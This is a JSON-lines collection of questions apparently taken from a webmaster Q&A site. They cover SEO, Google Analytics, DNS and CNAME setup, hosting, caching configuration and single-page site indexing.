{"id":"67002","title":"What can be messed up by letting the data flow into a Universal Analytics Account without fully customizing Universal Analytics first?","text":"I haven't finished taking the \"Digital Analytics Fundamentals\" course yet; I'm concerned that if I don't understand everything before I implement it on my companies site that I'll permanently screw something up; I've used Google Analytics in the past, and I've noticed that you can only set a certain number of goals and I'm not even sure if you can change them after that. My boss is pushing for me to finish some tickets related to the marketing of our sites, but I'm concerned that if I do this too soon, I'm going to permanently screw something up with the Analytics account. In particular, today I'm going to add our website to the local business directory websites; some of these are free and some of these are not free. The following are local business directory websites I had in mind: * Google Local Business Directory * City Search * Superpages.com * Best of the Web Local Search * patch.com * merchantcirlcle * yelp * Bing Places for Business * Yahoo Local Listing: Business Directory Listings If I understand correctly, a local business website is a referral source, which makes it sort of a Marketing Channel? And with Marketing Channels you have to monitor them to make sure that your getting your ROI on them, so you aren't paying for marketing (a listing) that isn't bringing you any business. I've seen several sites that advise you NOT to setup Google Analytics until you have your goals setup and implemented on your site. What parts are absolutely essential to setup first? (off the top of my head I can think of excluding people from within your own organization from the Analytics, and setting up goals)"}
{"id":"67003","title":"Website traffic suddenly down, banned by google after adding around 700 products","text":"I have a ecommerce website, phone accesories retail. In the first three months the google traffic risend natural and good up to 200 visitors per day (google search). At the begging of june, in a single day, i have added around 700 products. In the next days the google organic traffic dropped down dramatically. As seen in the webmaster tools screenshot:  The description of new products was copy paste from supplier website with very little editing. After the dropdown i tried to clean the website of duplicate products. I have for the same product, different colors with diferent urls and same content. I've added canonical to point to one product for each set of colors. Adding those products slowed my website very much so i have changed my server to a VPS, and optimised the website speed. I thought to eliminate all reasons for witch website is down. The number of indexed pages in serp rised, but my organic traffic dropped. A few days before the drop i have added Structured Data markup for the page product. I removed the code around 24 june.  At this moment i have two solutions: 1. To put a noindex meta for the new products added. 2. To delete all products and not sell them any more. The margin is low for this products any way. What could be a reason for the drop and what should i do so my website regain it's google trust and reappear in SERPs? The website is: http:\/\/mobyl.ro"}
{"id":"39752","title":"Number of hits report in Google Analytics","text":"Can I create a custom report in google analytics to show me the total number of hits on a specific website? By \"hit\" I mean any item on the page that needs to load in order to view the page correctly. A better definition of what I mean can be found here: http:\/\/www.webopedia.com\/TERM\/H\/hit.html"}
{"id":"16901","title":"Check for duplicate 'id' values in a HTML page","text":"I am developing a web application and I would like to check for duplicate `id` values in a HTML page. I am running the application on my local machine. There is a way to do that? P.S.: I am using Firefox and Firebug."}
{"id":"37907","title":"How to use Cloudflare and Namecheap email forwarding at the same time?","text":"I want to use Cloudflare, and it requires that I use their nameservers. The problem is that I'm using some features from Namecheap like email forwarding, which will be disabled (if I didn't get it wrong) if I don't use Namecheap's nameservers. Any ideas?"}
{"id":"5214","title":"Send and Receive SMS from my Website","text":"The way I plan to use it is: 1. Have people send SMS to a number to vote. 2. On the backend (assuming that the data comes back to my Web server), I will display the voting results on my Web site. 3. After say 10 minutes, I would like to press a button on my Web site so ONE of the people who sent an SMS earlier receive an SMS saying that person is a winner. I'm an ASP .Net developer, so I just need an API to code against. One such company I saw that does this (but is limited to US) is: * http:\/\/www.twilio.com\/sms\/ Do you know any international providers that are similar to Twilio SMS? I'm based in **Sydney, Australia**. I've looked through the discussion here but could not find any International provider that does what Twilio SMS does: * How to add SMS text messaging functionality to my website? Thank you."}
{"id":"38917","title":"Using audio from youtube videos without the player visible","text":"I want to embed certain videos from youtube on my site but I only need the audio from them so I want to set the iframe to `display:none` and use the api to control the play and pause with custom buttons. Is this breaking any rules?"}
{"id":"59536","title":"Remove page from Search Result Bunch","text":"When I do a branded search for a website the structure shows like ( see image ). I would love to remove Privacy Policy page or Manipulate the structure I see now ( showing pages I want to ). How I can do it?  I already added robots - nosnippet meta tag to remove all rich snippets from a page, but it didn't work. Are there any other methods except removing page from indexation?"}
{"id":"33860","title":"Primary domain in vps has been deactivated","text":"This is my scenario: I have a vps with two domains (example1.com, example2.com). When I started with this vps I set `example1.com` as primary domain and the nameserver were configured with the pattern `ns1.example.com, ns2.example1.com`. The domains were brought in `name.com`. Across the time, I usually only work whit the domain `example2.com`, for that reason I stopped to pay `example1.com` anual registration and just keep the example2.com. But, today my vps is unreacheable because the main domain was deactivated last ago 23th. I never imagined that it could affect my server. So, I am so worried because I don't know if rebuild the vps is the solution here because I could lost my data. Can you take me to the right direction in order to recover my vps?"}
{"id":"17532","title":"How to start and encourage an online community?","text":"We're looking to add a forum\/online community area to our website. Previous attempts of encouraging comments and interaction have failed and the community tends to die a death eventually. So, I've sat back and had a think of how to encourage people to comment and interact within our forum\/community (heavily influenced by the stack style!): **1. Ease of signing up:** People are lazy in adding new accounts etc so just like stackoverflow, I would use the \"sign in with facebook, linkedin, twitter\" etc etc. **2. Encouraging people to comment\/interact:** A points\/score system that would reward users for commenting\/interacting with the community (a more basic version of stack). An addition would be if a user reaches certain milestones they would receive a % discount on services. **3. New content from us:** As well as users commenting, I think a strong presence from us in posting new content\/threads\/comments would be needed. Has anyone got any suggestions to add to the list above to encourage interaction within the community?"}
{"id":"20504","title":"Using disqus for a website (question on SERP and backlink)","text":"I am building a website and am trying to decide between writing my own commenting system and using Disqus. One of the main deciding factors is that (obviously), I want comments left on my page to be show on SERPS. However, I remember reading somewhere that Disqus loads comments into a page using AJAX - and therefore the comments are \"invisible\" as far as Googlebot and other SE crawlers are concerned. Could someone confirm or refute this? The other question I have is about whether (as a commenter), When I place a comment on another website using Disqus (including any links I may add to my comment), do the links in my comment count as a back link (in other words are they \"dofollow\" or \"nofollow\" links)?"}
{"id":"61155","title":"mod_caching work but file not matching because it adding the 443 port in cached file","text":"The config file: CacheRoot \/var\/cache\/mod_cache CacheEnable disk \/ CacheDirLevels 5 CacheDirLength 2 CacheMinFileSize 0 CacheIgnoreHeaders Set- Cookie The url EX: (https:\/\/exemple.domain.com\/content.png ) In the cache file under \/var\/cache\/mod_cache I see: EX: url......domain.com:443\/content.png instead of url......domain.com\/content.png When I reload, the url , It reload the file .png. BUT IF I reload, the url with the 443 ...domain.com:443\/content.png the caching is working fine. Any idea why mod_cache add the port 443 the the path in the cached file ? Or how to fixe this mismatch? Thanks"}
{"id":"12706","title":"How to know that my site is getting index\/rank by search engine","text":"As per subject, anyone can tell me how to check that my site is getting index\/rank by search engine(e.g. google, yahoo)?"}
{"id":"59116","title":"Search query from Google Webmaster Tools isn't found in my SERP","text":"I write a blog at `blogger.com`. I am using Google Webmaster Tools on my blog. In my Webmaster tool dashboard, I can see that a particular search query has an average position of 5. See the attached screenshot below for reference:  However, when I search the exact search query in Google, I don't see my blog in the results (at least not in the first 4 pages). Can anyone explain this to me? Or am I misinterpreting the Webmaster Tools data?"}
{"id":"57007","title":"Getting the redirected page to show up in SERP instead of the target","text":"I have a site that is listed on a sitebuilder site with their own domain which in this example lets call this `siteA.com\/myaccountnumber\/index.html`. I've purchased a domain `siteB.com` and I've setup a redirect from `B` to `A`... But I would like Google to index `siteB.com` rather than the one that is being redirected too using a standard 301."}
{"id":"15650","title":"Filtering your own IP's in Google Analytics, good or bad idea?","text":"Is it a good idea to filter our own IP addresses from our own websites in Google Analytics? On the one hand, the data is \"real\" but on the other are you losing browny points with Google as your getting less visits? Maybe I'm not understanding the filtering!?"}
{"id":"29555","title":"Are webhosts that require NS instead of a CNAME common?","text":"I've just signed up with a webhost (which I prefer not to name) and I'm reasonably happy with it. The only nit was when I was ready to put a site online and I asked the support line to what name I should point my 'www' CNAME to. They responded that they don't do that and I need to set my domain's NS records for the hosting to work. \"Why would you ever want to do it that way? Our service to you includes DNS and our servers are probably much better than the one your registrar provides.\" This was a bit of surprise as all of the other webhosts I've worked with happily support this. I've set up (eg) gallery.myfriend.example for friends by having them configure their DNS to CNAME 'gallery' to the name of a shared server at a webhost and the webhost does name-based hosting for 'gallery.myfriend.example'. (Of course, if the webhost ever tells me I'm being moved from A.webhost.example to B.webhost.example, it would be my responsibility to change where the CNAME points. Really good webhosts would instead create myname.webhost.example for the IP of whichever server my stuff happens to be on, so I'd never have to worry about keeping my CNAME up to date.) Is my impression correct, that most webhosts will happily support a service that begins with a CNAME hosted elsewhere, or is it really more common that webhosts will only provide a service if they control the DNS service too? * * * **For example** Alice is a customer, owning Alice.example. BobHost, CarolHost and DaveHost are webhosts. Alice has a domain registration, DNS hosting and website hosting with BobHost. BobHost have the following DNS setup... * Alice.example A 192.0.2.1 * Gallery.Alice.example CNAME SomeServer.CarolHost.example and her main website content and email is served from 192.0.2.1. Alice also has website hosting with CarolHost, but only to serve the 'Gallery' sub-domain. Her gallery content is served from SomeServer.CarolHost.example, but only when the 'Host:' header of a request is 'Gallery.Alice.example'. Yes, this is sub-optimal, but its the only practical way to have a sub-domain hosted elsewhere from the main site. Frankly, it works. CarolHost can change the IP of 'SomeServer' whenever they like without having to inform anyone as long as they update their own DNS records. No-one complains to CarolHost that the gallery is off-line when the fault is with BobHost's DNS service failing to serve that CNAME record. Continuing the story, Alice now wishes to put an additional sub-domain, 'Blog.Alice.example' to be hosted by DaveHost. She calls DaveHost support and asks how to host 'Blog' in the same way that 'Gallery' is hosted by CarolHost. DaveHost respond that they don't support this. If Alice wishes to use DaveHost's service, Alice will need to move DNS hosting to DaveHost. My question; In the world of webhosting services, are hosts like DaveHost commonplace? (All but one the webhosts I've dealt with are happy to be CarolHost, even though they all really want to be like BobHost.)"}
{"id":"32840","title":"Is it OK for a DNS A record to resolve to another URL rather than an IP address?","text":"My company use a domain registrar who also offer a web forwarding service. We have a large number of different domain names purchased over the years and are using this web forwarding service to allow us to forward on requests to old domain names to a suitable location on our main website, as follows: * User browses to www.an-old-domain.com * www.an-old-domain.com resolves via DNS to the IP of our registrar's forwarding server. * The web forwarding server has been set up to serve an http 302 redirect from www.an-old-domain.com to www.our-corporate-website.com\/some-page * The user is redirected to www.our-corporate-website.com\/some-page which in turn resolves via DNS to the IP of our web server We're having a few problems with the reliability of this redirection service and I was wondering whether it would be OK to create a DNS A record for www.an-old-domain.com to resolve to www.our-corporate-website.com\/some-page, which in turn resolves to the IP address of our web server. I've always thought that DNS A records should resolve to an IP address rather than a URL, thereby creating a chain of DNS entries. A colleague tells me they that this approach is fine however, but I'm suspicious that it's a bit of a hack."}
{"id":"50754","title":"Website \"theft\" - what is the best way of dealing with these individuals?","text":"I was doing a duplicate content search on the web for our site content and found that someone has downloaded\/mirrored our entire website and is hosting it on a subdomain of their own main domain. When I check the WHOIS database, no details of the user are available. Why do people do this when it is clearly a copyright infringement - is it an SEO thing? What is the best way of dealing with these individuals?"}
{"id":"51012","title":"How does a new website's PR calculated if multiple domains permanently redirected to that new domain?","text":"I know if I permanently redirect a domain to a new domain address it won't affect my new domain in SEO point of view (PageRank, Page authority, etc.) and the new one would get the PageRank of my old domain but If I have 5 domains which are related to sports and I need to permanently redirect this 5 domains to a single domain which is also related to sports, I use 301 redirect method, in this case how does my new domain's PageRank calculated? Does it takes average PageRank of all the other old domain or any other methods to calculate the PageRank?"}
{"id":"8172","title":"Sub Domain tracking with Analytics filters","text":"We currently have Analytics tracking codes running throughout our site including our Sub Domains. What I would like to do is create different Profiles under the same account segmenting the sub domains by means of filters. Currently I am just excluding the hostname of the main website by using the following custom filter: Exclude: Hostname Filter pattern: ^www.mydomain.co.za(.*) I know this isn't the proper method of doing this though and have some of the main domains links coming through in the data. Ideally I would just like to include anything from: sub.domain.co.za Any help would be greatly appreciated."}
{"id":"8174","title":"any SEO sense in embedding EXIF metadata on web site images?","text":"I got a quick question and would love to know your opinion. I develop a CMS that in it's large part is very SEO-centric with many features that allow to control various individual parts of a web page. For example a web page can have a nice slug (url alias), page title override (other than content title in the CMS), text before footer, after footer, intro text, h1 tag, etc... Also image file names can be renamed to something more meaningful than a GUID, ID, etc. The CMS also allows me to enter an \"alt\" and \"title\" tag (to display as a short image description in a tooltip, enter \"tags\" for CMS\/internal use) Question is - do you think there would be sense in actually embedding \"keywords\" and other useful info within each\/some uploaded image's EXIF metadata ? Any SEO advantage over just a nice image name and an \"alt\" tag.. ? If we're trying to beat our competition SEO-wise, really hard with every possible aspect - why not embed additional keywords metadata on images ?"}
{"id":"20423","title":"I own a domain name. I would like to sell it. Which escrow company do you suggest?","text":"I own a domain name. I would like to sell it. Which escrow company do you suggest? Has anyone tried a good escrow transaction company? How do you sell a domain name to a buyer?"}
{"id":"15389","title":"Removing domain from google search results","text":"I bought a domain few months back.I am no longer using it.But it displaying in google search results.I dont know how google picked up.I want to remove from search results.But my domain is not associated with any web space.So i think robots.txt,request to remove site through webmaster wont work.Will deleting my domain,will exclude search results."}
{"id":"20893","title":"Program for FTP syncing, but only happens once?","text":"I want to use an ftp sync program which would work on either windows or linux that would connect to an ftp server and sync a folder from my computer to it. The catch is you can't see any files inside the ftp server. This means it'll just keep syncing the same files every time. Is there a program that would upload the file in that folder once and not again, but check hourly or so for another file and then upload it?"}
{"id":"15473","title":"Problem with image from HTML table after slicing and exporting from Photoshop","text":"I made an image in Photoshop, I used Photoshop slice tool:  **Original Image**  I used \"Save for Web Devices\" option to export each slice tools in PNG images and it creates a page, HTML page. As simple page, the page looks good but when I included in my project, it looks as a fragmented puzzle, look in picture: I will paste here the HTML code (with style): http:\/\/pastebin.com\/U9p3GT5j This code is a part of complex project and my `style.css` external CSS style doesn't affect that table or I want where I put the slices to place an input text..."}
{"id":"50732","title":"Problems defining CNAME for tumblr custom domain through directadmin","text":"I'm having problems trying to define a CNAME from blog.mydomain.com to domains.tumblr. I'm using directadmin DNS Administration. I've added a sub-domain named blog.mydomain.com and then in DNS Administration have defined the following:  Name: \"blog.mydomain.com\" Value: \"domains.tumblr.com.\" When I try to add a dot at the end of the field, I'm an error: Unable to save dns zone: named-zonecheck returned: loading \"blog.mydomain.com\" from \"\/var\/named\/blog.mydomain.com.db.temp\" class \"IN\" dns_master_load: \/var\/named\/blog.mydomain.com.db.temp:32: blog.mydomain.com: CNAME and other data zone blog.mydomain.com\/IN: loading master file \/var\/named\/blog.mydomain.com.db.temp: CNAME and other data If I understood correctly, without the dot at the end might make my CNAME be directed to a wrong relative URL, unless this is something directadmin resolves on his own. Is that my problem? If so, what does this error mean? (and I can I resolve it)"}
{"id":"50737","title":"Google adds useless parameters to my URL","text":"I have recently added my website to Google, and I don't understand why he adds useless parameters to my URLs. Normal URL: build\/view\/2\/akali\/mid Google URL: build\/view\/2\/akali\/mid?role=adc That's boring because the parameter `role` take the value `adc` instead of `mid`. How can I do to avoid this?"}
{"id":"20897","title":"Crawl errors \"src\" in the last in URL","text":"I was looking in the Google Webmaster Tools and realized the following crawl error: > Pages that link to `http:\/\/mysite.com\/articles\/my-stub\/src\/` > URL: `http:\/\/mysite.com\/articles\/my-stub` I wonder from where `src` is coming. My original article URL is `http:\/\/mysite.com\/articles\/my-stub`. Can you help me resolve this?"}
{"id":"26762","title":"What's the best way to change a restaurant website to accommodate a second location?","text":"So I built a restaurant website about 2 years ago - its a standard site with menus, events, contact pages etc. Now the restaurant is expanding and opening another branch in another location, the restaurant will never be a huge chain and there aren't any immediate plans to open more restaurants in other locations. The problem is that the Menus (Tapas, Christmas, Cocktails, etc) and the events page will be different for both locations. Do I create a new index page with 'Choose your location' Location 1 or location 2? or Do I introduce a top nav with drop downs - so Menu > Location A > Menu Menu > Location A > Tapas Menu > Location B > Menu Menu > Location B > Tapas Events > Location A > Events > Location B > I have researched this, but have not found any restaurant site with only 2 locations."}
{"id":"8906","title":"My website has been hacked\/attacked, says \"reported attack page\"","text":"Three days back my website `ganapatihegde.com` has been hacked\/attacked by some hacker. Now, when anyone tries to see my website, it says \"Reported Attack Page!\". I am using server provided by Free Hostia. I contacted them, but they say they don't provide any \"site script debugging service\". How can I get my website back?"}
{"id":"65590","title":"How often does Google re-calculate the page rank of webpage?","text":"Am updating my website Backlinks and content from last 2 month but page rank is not changing,how often does Google re-calculate the page rank?"}
{"id":"47570","title":"Why aren't my Facebook \"like\" comments showing up in my newsfeed?","text":"I have noticed that whenever I _like_ a website or page and include a comment, nothing shows up in my newsfeed and I can't see the _like_ at all. Is this an error with the site or something wrong with my Facebook account?"}
{"id":"47573","title":"Email Subscription, email or name and email?","text":"I'm making a email subscription form. Ideally I like when a website only asks for your email. It's both minimalistic from a design perspective and easy for the user. However I'm wondering if sending someone an email without having their name will get through someones spam filter? So the question is will I be able to get through Gmail spam filter with just a persons email? Do the benefits of having the users name\/email out weigh the costs?"}
{"id":"47579","title":"CSS files not updating on FTP transfer overwrite","text":"I have a weird issue: I have made changes to a CSS document but when I upload it and overwrite the existing file nothing changes - the old file remains. I have tried this on several FTP clients to the same effect. It appears to be only one web server affected. I can upload and download files fine - just not overwrite existing files. Does anyone know what could be causing this? (permissions are 644)."}
{"id":"34785","title":"How is this website's architecture structured?","text":"refer to this URL: `http:\/\/imagemechanics.com.au\/` Every page seems to have its own unique URL, but the \"\/#!\/\" leads me to believe it's all one giant page with anchor tags defining the sections. Is each section truly its own .html page or is it just one page?"}
{"id":"61241","title":"How do I temporarily disable a website?","text":"I have to take a website down for a month, which is the least intrusive way to keep achieved SEO optimizations? should I just add in apache config: <Directory \/root-directory-of-web-site-to-be-redirected> Redirect 301 \/ http:\/\/www.otherdomain.com\/temporarily_offline.html <\/Directory> ## .... Reason for the long downtime: _some misconfiguration in ruby, while all other php sites work fine. I will fix this after a month when I am back from hollidays_"}
{"id":"8390","title":"How important is the uniqueness of your domain name?","text":"I've finally come up with a domain name that I like and is available. The name is nonsensical and doesn't translate into anything meaningful in any language, as far as I know. It's something like \"FOOBARite\". (Don't steal that!) I'm wondering about a few search issues. Results-wise, searching for it in Google currently returns about 15k results, none of which are relevant (dead Twitter pages, various unpopular online handles, and botched french translations). However, Google starts off with a spelling suggestion, which removes a letter. (\"Did you mean: FOOBARit?\") That returns about 250k results for several different and unrelated websites\/organizations by that name. One is some technology provider, another is a sign-language organization, another is the name of a font... None of them seem particularly popular, there's not that much activity on any of those pages. Anyway, the two are pronounced differently, they're just a letter off. Should I go with my idea or is this one-letter variation going to cause me problems? If my site becomes ranked well enough, will Google's spelling suggestion go away? I don't want users to search for my site name and be told they've spelled it wrong."}
{"id":"61370","title":"Blog Tagging - Is it important?","text":"My question is simple. Are tagging blog post important? When I say important it has two areas: 1. Is it important for users using the website. 2. Is it important for SEO? For instance let's say I write a blog post about how amazing of a browser Internet Explorer 8 is...I might use tags such as `Internet Explorer` `IE8` etc. Do these really have any impact on my site?"}
{"id":"8393","title":"How to make GMail spam folder always visible?","text":"The spam folder in GMail is always hidden and it becomes more and more uncomfortable How to configure GMail Spam folder to be always visible?"}
{"id":"27971","title":"I own a domain name. Can people view my personal registered info?","text":"Is my information protected? Or can someone tell where I live by my domain name? Why do hosting services offer a protected information service for extra money? How can I view that information?"}
{"id":"49589","title":"sitemap.xml file extension, does it have to be .xml?","text":"Do XML sitemap files have to end with the `.xml` file extension? On the Bigcommerce platform, their XML sitemap file are defined as: http:\/\/www.examplesite.com\/xmlsitemap.php The sitemap file is all correctly marked up and and when saving locally its saves as an `.xml` file. I've also seen some Joomla sitemap plugins create sitemaps with `.php` extensions. The Sitemap Protocol site doesn't cover this. I unfortunately don't have access to GWT too see if it verifies."}
{"id":"25556","title":"PHP paid-for support script?","text":"I'm looking for a support system\/helpdesk where users are required to pay for every question they have asked. Can anybody recommend me a good one?"}
{"id":"24404","title":"Google Analytics: Enabled 'Track site search results' , where do I see list with search queries","text":"I enabled 'Track site search results' on Google Analytics and put also the queryparameter. Now my question is, where can I simply look at the list that is gathered with all the searches that are done by users?"}
{"id":"37637","title":"Provide a YouTube videobar on my website","text":"I want to embed a videobar (see image below) on my website. The video bar is for a playlist. I have come across a few articles outlining how to do this (such as this or this) but all point to a page that redirects to Google http:\/\/www.google.com\/uds\/solutions\/wizards\/videobar.html Is there any way to embed a videobar for a YouTube playlist without this Google site which is no longer available "}
{"id":"24408","title":"Google analytics referals with multiple sites on one domain","text":"I have two sites, both on the same domain name. I.E. www.example.com www.example.com\/blog I have an analytics account set up for both which works well; I can see that traffic for the sites in their respective accounts. However, I want to be able to track referrals from `www.example.com\/blog` to`www.example.com`. Although I know referrals are occurring, I can't seem to find any way to track them in analytics. I think something needs to change with my analytics code, but I am not sure what to do. Do I need to do something with the cookie domain?"}
{"id":"1366","title":"Web Application Design - Good reading materials?","text":"I've been searching for a few days to find some good reading material on web application design, and haven't been able to find much (too many buzzwords or something). I'm looking for something that covers some design patterns for common situations in user-based systems (authentication, permissions\/roles, preferences\/configurations, encryption, payment, etc.) which might detail common implementations on server-side (hopefully in MVC style) application and database schema layouts. I think normally a lot of these are implemented in existing frameworks such as Struts, Springs, etc. but in some cases I might have to roll-my-own small framework or add to an existing and I need something to help me understand more about how these are implemented, or proper ways for implementing them myself. There is a lot of information available but most of what I find seems to be scattered, and specifically I'd like to find a book or few (reading on screen is bothersome for my eyes). Thanks"}
{"id":"1364","title":"How to handle hundred of external links in a site?","text":"The site I am working on has few hundred distributors, each one has its own page, and a link to that distributors website. Some of the distributors have multiple locations and so they have multiple pages with the same link. Should I put a `rel=\"nofollow\"` on those external links so that I don't send my link juice out of the site or should I do it? I am not really sure what is best for my site."}
{"id":"28750","title":"How to add multiple websites on a single IP address?","text":"I have a VDS server and a dedicated IP address. The question is how to add multiple sites in a single domain? For example I have 3 sites as below: * `www.company.co` * `www.webdesign.com` * `www.inet.com`"}
{"id":"28209","title":"Handling request after installing MAMP (no DNS setup yet)","text":"I've just installed MAMP on my mac machine and checked the server is working by looking at localhost. I looked up my IP address by `ifconfig`. When I use another machine, I still can't get connected to the server. Why is that? I haven't register a domain name, but I suppose to be able to connect by IP address, isn't it?"}
{"id":"51777","title":"Do search engines punish broken links to external websites?","text":"My website is all about users posting links to external websites. A quick script reveals that 700 of these external links are broken (for instance `hffp:\/\/example.com` or `http:\/\/some-typo.com`). Independently of the fact that they are a pain for the user, does these broken links hurt my SEO ranking in any way? _Note: They are not internal links, just links to other websites. It is different from the problem of having your own website show 404 errors._"}
{"id":"28754","title":"Batch removal of URL from Google index","text":"We accidentally created a number of links to the same page resulting in Google indexing what should be about 5 000 pages as over 100 000. We have subsequently fixed this up, returning 404's, but Google is still testing these URLs - several hundred a day - and returning these as 404 errors in Webmaster Tools. I assume that if we waited Google would eventually sort this out, but as this is not good for our Google ranking - we effectively have 10's of URL for each page - I would like to look to accelerate this removal. We are manually removing these URL's using Google Webmaster Tools, but this is very time consuming. Unfortunately the URL's are not easy to cover by a single directory as described here Does anyone have suggestions on batch removal tools of URL?"}
{"id":"23169","title":"How to SEO a Single-Page website","text":"I am creating a new website for a client, and I think a single page website \/ layout will be pretty neat. There is not that much detailed content, it is a company that imports a lot of products from different companies. So it will be a bit of a showcase of the different types of products \/ equipment you can order. Of the whole catalog only maybe 10 products are actually shown. Now I have the basic structure with sections and links like: > #home \/ #products \/ #equipment \/ #services \/ #contact. Now from what I understand is that Google does not index links containing #, so there will be no problem of duplicate content, everything will be indexed as the frontpage. Now what I want to optimize is searching. This company is agent of some product in the country, meaning only they have the permission to import and sell that product. This means that when somebody searches for product x, this website pops up as the first hit. Now can I make it that they will be automatically brought to the `#products` part of the website directly from google. I was thinking of something like having google index the different sections as different pages. Is something like that possible?"}
{"id":"33780","title":"One page website SEO - Can Google show multiple entries that jump to the relevant section?","text":"> **Possible Duplicate:** > How to SEO a Single-Page website A client wants a content-heavy one page Wordpress website, with scroll-to navigation. And they want it search engine optimised :) I thought that if Google could see each section as a page, with unique title, I might be able to achieve all of the above. I came across this article, which suggests creating multiple pages for Google, but then hijacking the navigation links with Ajax to load the content within the single page for the human visitor. It would be great if I could get some advice on whether or not this is madness! _**EDIT_** Perhaps my question is too subjective or ambiguous... What I would really like to know is: _Are there any potential negative impacts in terms of SEO, Google ranking, page load speed (apart from the obvious effect of having all content on one page) or whatever to using this method?_ Thanks!"}
{"id":"44136","title":"we have a # in the URL","text":"I am new in this SEO techniques. I created my website with this way: * When www.mysite.com is typed it will redirect to a non-www version mysite.com * One page HTML\/PHP, no redirects or whatsoever * Used a jquery plugin that scrolls to a specific `<div>` when a button\/menu is clicked. * My URL is constructed like this: `mysite.com\/#about` and `mysite.com\/#contact-us` Is this SEO friendly? Because I noticed, whenever I typed the exact domain name on Google, it sees my website however when I do `mysite contact` or `mysite about` it doesn't see my website. Why is that?"}
{"id":"24327","title":"Anchor link structured website & SEO","text":"> **Possible Duplicate:** > How to SEO a Single-Page website My client wants to have a website similar to this one. I think that this concept could really work well as a simple presentation of business portfolio but I can't figure out how good I could optimize website for search engines because all content is actually on one single (long) page. Do you have any suggestions concerning this specific case? I guess google would only index one page?"}
{"id":"50687","title":"Is single page website bad for SEO?","text":"Suppose I have a website for a company which I want to SEO. Think of two scenarios: 1) There is only `index.php`, and for \/about \/contact sections I do it like this: `index.php?what=about` , `index.php?what=contact` etc. and I change the url using .htaccess, so the links become `www.company.com\/about` , `www.company.com\/contact` and every page has unique content of course. 2) Everything has their own page. i.e. : * http * index.php * about.php * contact.php I think that these two scenarios are the same, if they have the same content. I mean Google should not care about the server-end right? Or am I wrong? Please inform me before I go any further :) Thanks !"}
{"id":"478","title":"What are the minimum steps that I should follow to ensure that my web site is accessible to the disabled?","text":"I am trying to follow a very important standard that I must admit I have ignored up until recently. I want to make sure that my pages are accessible to a large portion of people that have disabilities. I focus mainly on tutorials that are text and image intensive, but no video \/ flash or any kind of animations. What is a checklist that I can follow to ensure that many people with disabilities can have a good experience when using my web site, and what disabilities should I be most conscious of? I know that I can't possibly please everyone. I have gone through the W3C guidelines, however I'm not entirely sure what standards apply to me. I'm not building web applications, I'm building mostly wiki like information exchanges, blogs and the occasional forum."}
{"id":"55700","title":"The wrong Twitter account is showing in Google SERPs when searching for my name","text":"If you search for me by name on Google, the wrong Twitter page has started to show in SERPs. Check here. The offending Twitter page usually comes up about 10th in the results. My Twitter page is linked from my blog and my Google+ profile so I don't understand how this account is starting to rank more highly than my own, given the links to my site which is the top result. My question is, is there a way to prevent this? What options do I have to either boost my own Twitter page up the rankings or try to remove\/reduce the rank of the other page when searching."}
{"id":"28201","title":"Search engine misunderstanding","text":"I have this, probably a misunderstanding, about search engines. How do they search for pages? If i have a page which loads contents from database and \/ or changes content thought jquery will a search engine grab those content loaded by database and jquery??? help much appreciated!"}
{"id":"28972","title":"Is this server upgrade worth $10 per month?","text":"At the moment I pay $110.95 per month for the following: Pentium 4 x 2.4Ghz 2GB RAM 1 x 250GB HDD 100Mbps cPanel However I could upgrade? to this for $120 per month: D510 1.66 GHz 2GB DDR2 RAM 1 x 500GB HDD 100Mbps cPanel For the price I'm paying do you think this is a good service? Would I see much benefit from the D510 1.66 over the P4? I'm considering dropping cPanel as I'm close to the stage where I can manage most of these things through SSH."}
{"id":"58431","title":"Are there parts of my site that should not get structured data tags?","text":"I have a site that essentially has two types of pages. First, I have a home page (http:\/\/whatgoeswiththis.co) that shows a stream of products. Then, I have a detail page (for instance, http:\/\/whatgoeswiththis.co\/item\/6531) that is unique to each product. I include structured data on this page for schema.org\/Product and \/Offer. Should I also markup the product as a schema.org\/Product when it appears on homepage as part of a feed, even though this homepage is constantly changing? Similarly, should I markup a person as a schema.org\/Person every time they make a post or comment and their avatar\/name shows up, or just once on their profile page? Thanks!"}
{"id":"61513","title":"SEO\/Google: Does Google bot properly handle break <br \/> tags in an <h1>?","text":"Thinking about keywords in headings on pages. When Google crawls the page, and comes across this: <h1>First Keyword<br \/> Second Long Tail<br \/> Keyword<\/h1> It's smart enough to know that those `<br \/>` tags are spaces, right? What about this scenario? <h1><img src=\"First Keyword\" \/><br \/> <img src=\"a.png\" alt=\"Second Long Tail\" \/><br \/> <img src=\"b.png\" alt=\"Keyword\" \/><\/h1> How might it rank the second keyword? Just curious here."}
{"id":"22465","title":"Real Time Push Server for Media","text":"I am currently using a real time Push server to push text and small binary data. I am looking for a similar service for Media. Pubnub, which I currently use, limits data transfers to 1.8k, does anyone know of a similar service or setup for larger files?"}
{"id":"61511","title":"Keywords and sitemap management mistake","text":"I am working on a news aggregator. When I look at the `example.com` page, (`https:\/\/www.google.co.in\/#q=site:example.com`), I see that the top pages are not the \"best\" pages in my website. When I look at the keywords in keyword section in Google Webmasters Tools, I do not see relevant keywords. This probably means that Google does not understand my site correctly. How can I tell Google to get \"correct\" keywords for my site and put correct links in the top search results? Since I am a news aggregator, how would I figure out what the best page is?"}
{"id":"13737","title":"Why are captcha fields so prevelant across the internet?","text":"Seems to me that they are an easy way out and band aid solution to a problem that could be solved in other ways. I have never implemented a captcha field on a website and do not intend to in the future, but I am curious when I see Google, Yahoo and eBay all using them. Surely there are better solutions to the problem. As a user I find them incredibly frustrating even when they have been implemented well like reCaptcha and I am unlikely to convert if a site requires me to complete it. Surely there are many other users out there that will think the same. Captcha are also not infallible with some spammers offering incentives for people to provide captcha answers in desktop apps. With so many other options for traffic filtering\/limiting is it just through laziness that we have ended up with so many out there or is there a reason I am missing?"}
{"id":"13731","title":"Will changing SHTML files to PHP change effect how search engines index my site?","text":"I have a lot of SHTML pages. If I change these to PHP to add some more functionality _(obviously changing stuff like includes to PHP where necessary)_ **will this effect how search engines index my site?** _(most importantly Google)_ Will they still index the PHP files the same as the old SHTML and just as often, etc.? Will there be any difference? **Background Info:** Server= **IIS** This is my thinking\/reasoning behind this question. We have **a lot** of shtml pages. I think it's because Google will index them all. E.g.: If you have a file individual_page.php and essentialy this page is many pages; individual_page.php?id=39430403 then Google won't index each one right? But if I have static files, they'll index them all, right?"}
